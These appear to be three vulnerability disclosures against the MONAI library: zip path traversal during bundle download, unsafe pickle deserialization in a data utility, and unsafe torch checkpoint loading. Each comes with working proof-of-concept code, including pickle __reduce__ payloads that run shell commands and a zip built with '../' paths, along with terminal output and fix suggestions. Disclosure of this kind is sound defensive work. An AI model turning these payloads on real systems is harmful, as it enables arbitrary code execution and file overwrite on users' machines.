Summary The extractall function zipfile.extractall(outputdir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p testbundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > testbundle/malicious.txt root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd testbundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/testbundle# zip -r ../malicious.zip . ../../../../../../etc/passwd adding: malicious.txt (stored 0%) adding: ../../../../../../etc/passwd (deflated 64%) root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/testbundle# cd .. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls malicious.zip p1.py p2.py r1.py testbundle Then start the http service through python root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='testbundle', url='http://localhost:8000/malicious.zip', bundledir='/tmp/testextract')" 2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download --- 2025-08-11 20:49:01,668 - INFO - > name: 'testbundle' 2025-08-11 20:49:01,668 - INFO - > bundledir: '/tmp/testextract' 2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting' 2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip' 2025-08-11 20:49:01,668 - INFO - > removeprefix: 'monai' 2025-08-11 20:49:01,668 - INFO - > progress: True 2025-08-11 20:49:01,668 - INFO - ---

testbundle.zip: 8.00kB [00:00, 204kB/s] 2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/testextract/testbundle.zip 2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/testextract/testbundle.zip. 2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/testextract. 2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/testextract/testbundle/configs/metadata.json. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls / autodl-pub cuda-keyring1.0-1all.deb home lib32 malicious.txt opt run sys var bin dev init lib64 media proc sbin tmp boot etc lib libx32 mnt root srv usr We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.

Impact Arbitrary file write

Repair Suggestions Check the contents of the downloaded Zip file, or use a safer method to load it

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary The pickleoperations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur. #Poc from monai.data.utils import pickleoperations

import pickle import subprocess class MaliciousPayload: def reduce(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) maliciousdata = pickle.dumps(MaliciousPayload())

attackdata = { 'image': 'normalimagedata', 'labeltransforms': maliciousdata, 'metadatatransforms': maliciousdata }

result = pickleoperations(attackdata, isencode=False)

#My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. maliciousdata = { 'image': normalimagetensor, 'label': normallabeltensor, 'preprocessingtransforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentationtransforms': pickle.dumps(MaliciousPayload()) # Multiple attack points }

dataset = [maliciousdata, ...] When a user batch-processes data using MONAI's listdatacollate function, the system automatically calls pickleoperations to handle the serialization transformations. from monai.data import listdatacollate

dataloader = DataLoader( dataset, batchsize=4, collatefn=listdatacollate # Trigger the vulnerability )

Automatically execute malicious code while traversing the data

for batch in dataloader:

Malicious code is executed in pickleoperations

pass When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Summary In modeldict = torch.load(fullpath, maplocation=torch.device(device), weightsonly=True) in monai/bundle/scripts.py , weightsonly=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.

import os import tempfile import json import torch from pathlib import Path class MaliciousPayload: def reduce(self): return (os.system, ('touch /tmp/hacker2.txt',)) def testcheckpointloaderattack():

tempdir = Path(tempfile.mkdtemp()) checkpointfile = tempdir / "maliciouscheckpoint.pt"

maliciouscheckpoint = { 'modelstatedict': MaliciousPayload(), 'optimizerstatedict': {}, 'epoch': 100 }

torch.save(maliciouscheckpoint, checkpointfile) from monai.handlers import CheckpointLoader import torch.nn as nn model = nn.Linear(10, 1) loader = CheckpointLoader( loadpath=str(checkpointfile), loaddict={"model": model} ) class MockEngine: def init(self): self.state = type('State', (), {})() self.state.maxepochs = None self.state.epoch = 0 engine = MockEngine() loader(engine) prooffile = "/tmp/hacker2.txt" if os.path.exists(prooffile): print("Succes") #os.remove(prooffile) return True else: print("False") return False if name == "main": success = testcheckpointloaderattack()

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log checkpointpwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py Traceback (most recent call last): File "/root/autodl-tmp/mmm/p2.py", line 61, in <module> success = testcheckpointloaderattack() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/autodl-tmp/mmm/p2.py", line 48, in testcheckpointloaderattack loader(engine) ^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpointloader.py", line 146, in call Checkpoint.loadobjects(toload=self.loaddict, checkpoint=checkpoint, strict=self.strict) File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in loadobjects treeapply2(loadobject, toload, checkpointobj) File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in treeapply2 treeapply2(func, CollectionItem.wrap(x, k, v), y[k]) File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in treeapply2 return func(x, y) ^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in loadobject obj.loadstatedict(chkptobj, kwargs) File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in loadstatedict raise RuntimeError( RuntimeError: Error(s) in loading statedict for Linear: Missing key(s) in statedict: "weight", "bias". Unexpected key(s) in statedict: "modelstatedict", "optimizerstatedict", "epoch". root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log checkpointpwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa

Impact Leading to arbitrary command execution Fix suggestion Use a safe method to load, or force weightsonly=True